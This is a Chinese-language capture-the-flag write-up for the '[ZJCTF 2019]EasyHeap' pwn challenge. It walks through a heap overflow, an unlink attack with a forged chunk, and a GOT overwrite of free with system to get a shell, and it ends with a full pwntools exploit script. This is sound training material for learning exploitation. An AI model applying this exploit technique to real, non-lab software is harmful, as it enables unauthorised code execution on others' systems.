[ZJCTF 2019]EasyHeap
使用checksec
查看:
一道堆题,关闭了PIE,可以考虑覆盖got表来获取system getshell
拉进IDA中查看:
标准的菜单,main()
函数就不贴截图了,menu()
函数也没有营养,图也不贴了,
先来看看create_heap()
:
- heaparray[i]:存放 chunk 的地址。
- read_input(heaparray[i], size):向 chunk 写入 size 大小的内容。
- heaparray是存放在bss段上的
edit_heap()
:
read_input(heaparray[v2], v0);
- read_input(heaparray[v2], v0):向 chunk 中写入 v0 大小的内容,也就是说如果 v0 比 create 时的 size 大的话就会造成堆溢出。
delete_heap()
:
free(heaparray[v1]);
heaparray[v1] = 0LL;
- free(heaparray[v1]); free 掉对应 chunk
- heaparray[v1] = 0LL; 将指针置 0 。
- 不存在UFA
值得一提的是这道题目还有个函数:l33t()
:
这个函数直接能返回flag,但是实际上并不存在这个目录:
OK,回到题目上来,指针被清空了,UAF啥的就用不了了,但是可以注意到的是,存在堆溢出,且堆是放在bss段上的
最先想到的便是unlink
,PIE保护也没有开启,正好可以修改free
的got表.
首先针对每个函数写出对应的函数:
def add(size,content):
r.recvuntil("Your choice :")
r.sendline('1')
r.recvuntil("Size of Heap : ")
r.sendline(str(size))
r.recvuntil("Content of heap:")
r.sendline(content)
def edit(idx, size, content):
r.recvuntil("Your choice :")
r.sendline('2')
r.recvuntil("Index :")
r.sendline(str(idx))
r.recvuntil("Size of Heap : ")
r.sendline(str(size))
r.recvuntil("Content of heap : ")
r.sendline(content)
def delete(idx):
r.recvuntil("Your choice :")
r.sendline('3')
r.recvuntil("Index :")
r.sendline(str(idx))
获取到堆在BSS段上的地址:heaparray_addr = 0x6020E0
开始调试:
首先创建三个chunk:
add(0x90,b"MMMM")#0
add(0x90,b"MMMM")#1
add(0x20,b"/bin/sh\x00")#2
编辑chunk0
构造出一个fake_chunk
,方便chunk1
free的时候进行合并,
fake_chunk = p64(0)+p64(0x91) + p64(heaparray_addr-0x18) + p64(heaparray_addr-0x10)
fake_chunk = fake_chunk.ljust(0x90,b'M')
fake_chunk += p64(0x90) + p64(0xa0)
伪造好之后堆布局如下:
这时,free掉chunk1,chunk1就会和前面伪造的fake_chunk进行合并,合并完之后堆空间如下:
此时编辑chunk0
就是编辑heaparray_addr-0x18
,原本heaparray_addr
所指向的是正常的堆地址,此时可以改为free_got
的地址,修改完成之后我们编辑chunk0
就是编辑free_got
的地址,如果将free_got
修改成system_plt
,在我们执行free的时候执行的就是system:
在chunk2
处已经写入了/bin/sh
,此时free
掉chunk2
便是system('/bin/sh')
完整exp如下:
from pwn import *
#start
r = process("../buu/[ZJCTF 2019]EasyHeap")
# r = remote("node4.buuoj.cn",28658)
elf = ELF("../buu/[ZJCTF 2019]EasyHeap")
context.log_level = 'debug'
#gdb.attach(r,"b* 0x400930")
def add(size,content):
r.recvuntil("Your choice :")
r.sendline('1')
r.recvuntil("Size of Heap : ")
r.sendline(str(size))
r.recvuntil("Content of heap:")
r.sendline(content)
def edit(idx, size, content):
r.recvuntil("Your choice :")
r.sendline('2')
r.recvuntil("Index :")
r.sendline(str(idx))
r.recvuntil("Size of Heap : ")
r.sendline(str(size))
r.recvuntil("Content of heap : ")
r.sendline(content)
def delete(idx):
r.recvuntil("Your choice :")
r.sendline('3')
r.recvuntil("Index :")
r.sendline(str(idx))
#params
heaparray_addr = 0x6020E0
system_plt = elf.plt['system']
free_got = elf.got['free']
#attack
add(0x90,b"MMMM")#0
add(0x90,b"MMMM")#1
add(0x20,b"/bin/sh\x00")#2
fake_chunk = p64(0)+p64(0x91) + p64(heaparray_addr-0x18) + p64(heaparray_addr-0x10)
fake_chunk = fake_chunk.ljust(0x90,b'M')
fake_chunk += p64(0x90) + p64(0xa0)
edit(0,0x100,fake_chunk)
delete(1)
# gdb.attach(sh,"b* 0x400930")
payload = p64(0)*3 +p64(free_got)
edit(0,0x20 ,payload)
edit(0,8,p64(system_plt))
delete(2)
r.interactive()